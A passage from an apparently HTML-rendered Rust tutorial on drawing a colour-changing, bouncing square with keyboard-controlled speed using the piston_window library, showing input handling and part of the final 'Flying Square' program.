&lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;match&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;b&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;Button::Keyboard(k)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;match&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;k&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;Key::W&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                &lt;/span&gt;rect.change_velocity(&lt;span style=&#34;color:#00f&#34;&gt;1.1&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;Key::S&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                &lt;/span&gt;rect.change_velocity(&lt;span style=&#34;color:#00f&#34;&gt;0.9&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;_&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Catch all keys&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                        &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                    &lt;/span&gt;_&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Catch non-keyboard buttons&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;_&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Catch uninteresting events&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;finishing-touches&#34;&gt; Finishing Touches&lt;/h2&gt;&#xA;&lt;p&gt;This is a totally working example of drawing and keyboard input with Piston, specifically &lt;code&gt;piston_window&lt;/code&gt;. However, to really polish it up, there are a few things to add. First, we can change the name to &amp;ldquo;Flying Square&amp;rdquo;. I also added a parameter to &lt;code&gt;update_color&lt;/code&gt; to control how much the color should change, and added a match so that the F5 key resets the square to the top left. The final program looks like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;extern&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;crate&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;piston_window;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;use&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;piston_window::*;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; ColoredRect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;color: [&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;position: [&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;velocity: [&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ColoredRect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; new()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ColoredRect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;color: [&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;position: [&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;100.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;100.0&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;velocity: [&lt;span style=&#34;color:#00f&#34;&gt;0.3&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.3&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; update(&amp;amp;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;dt: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;size: (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;))&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.001&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.002&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.003&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// X updates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;size.&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;||&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;];&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;120.0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Y updates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;3&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;size.&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;||&lt;span style=&#34;color:#bbb&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;];&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;120.0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; update_color(dt: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;color: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;change: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;)-&amp;gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;color&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;else&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;color&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;change&lt;span style=&#34;color:#bbb&#34;&gt; 